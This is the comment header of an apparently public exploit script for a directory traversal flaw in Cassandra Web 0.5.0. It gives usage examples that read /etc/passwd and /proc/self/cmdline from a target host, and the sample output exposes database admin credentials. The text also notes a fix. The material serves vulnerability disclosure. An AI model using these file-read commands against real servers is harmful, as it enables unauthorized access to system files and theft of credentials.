# Cassandra Web 0.5.0 Remote File Read Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)
#
# Fix
# - fixed in github repo
# - v0.6.0 / ruby-gems when available
# (still recommended to containerize / run this in some sandbox, apparmor, etc)
